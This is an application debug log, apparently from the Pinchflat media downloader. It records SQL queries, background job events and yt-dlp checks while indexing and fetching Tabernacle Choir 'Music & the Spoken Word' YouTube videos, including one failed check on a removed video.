Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:31.586 [debug] QUERY OK source="sources" db=0.5ms idle=362.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:31.590 [debug] QUERY OK source="media_items" db=3.0ms idle=12.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:31.593 [debug] QUERY OK source="media_items" db=2.5ms idle=14.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "6b2f46b3-56e5-4e76-b029-f8e1fc51e8c8", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:31.594 [debug] QUERY OK source="sources" db=0.4ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:31.596 [debug] QUERY OK source="media_items" db=2.0ms idle=9.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:56:11Z], 1] 11:00:31.599 [debug] QUERY OK source="media_items" db=1.6ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "8f8cfeb7-efa0-41e5-b674-86c7eb6bd759", "SSBMMeRs_b8", true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", 3, "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, false, false, [], 96, ~U[2025-12-08 16:56:11Z], ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "SSBMMeRs_b8", nil, true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, ~U[2025-12-08 16:56:11Z]] 11:00:31.600 [debug] QUERY OK source="sources" db=0.4ms idle=9.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z], 1] 11:00:31.602 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:31.605 [debug] QUERY OK source="tasks" db=0.3ms idle=6.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2624, 20219, ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z]] 11:00:31.609 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=3.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2625, 89337, ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z]] 11:00:31.612 [info] {"args":{"id":20219},"id":2624,"meta":{},"system_time":1765648831612780419,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:31.613 [info] {"args":{"id":89337},"id":2625,"meta":{},"system_time":1765648831612920759,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:31.613 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 11:00:31.614 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:31.614 [debug] QUERY OK source="media_items" db=0.8ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 11:00:31.615 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:31.616 [debug] QUERY OK source="sources" db=1.6ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:31.616 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:31.617 [debug] QUERY OK source="media_profiles" db=0.5ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:31.618 [debug] QUERY OK source="media_profiles" db=1.3ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:31.619 [debug] QUERY OK source="media_items" db=1.8ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20219] 11:00:31.620 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89337] 11:00:31.621 [debug] QUERY OK source="media_metadata" db=0.3ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20219] 11:00:31.621 [debug] QUERY OK source="media_metadata" db=0.4ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89337] 11:00:31.622 [debug] QUERY OK source="media_profiles" db=1.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:31.623 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:31.624 [debug] QUERY OK source="settings" db=0.8ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.624 [debug] QUERY OK source="settings" db=0.6ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.625 [debug] QUERY OK source="media_items" db=5.1ms queue=0.2ms idle=2.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:31.625 [debug] QUERY OK source="settings" db=0.7ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.625 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.626 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:31.626 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:31.626 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:31.628 [debug] QUERY OK source="tasks" db=0.3ms idle=3.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2626, 1, ~U[2025-12-13 18:00:31Z], ~U[2025-12-13 18:00:31Z]] 11:00:31.629 [info] {"args":{"id":1},"id":2620,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":6410014,"event":"job:stop","queue_time":218921,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:31.637 [debug] QUERY OK source="settings" db=0.3ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.638 [debug] QUERY OK source="settings" db=0.5ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.638 [debug] QUERY OK source="settings" db=0.8ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.638 [debug] QUERY OK source="settings" db=0.5ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.639 [debug] QUERY OK source="settings" db=0.4ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.639 [debug] QUERY OK source="settings" db=0.4ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:31.639 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/3c/c33c339d35fd7248a6ed6a958ef5d5f17f853c50e4b7bd75635f04e064e56b07.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:31.640 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/49/6b49c34cee67fa0be48aee02c8372c114e111c5a3b59069574fbcab19a333fae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:34.699 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/49/6b49c34cee67fa0be48aee02c8372c114e111c5a3b59069574fbcab19a333fae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader 11:00:34.700 [error] yt-dlp download error for media item #89337: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:34.700 [error] yt-dlp download will not be retried: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:34.701 [info] 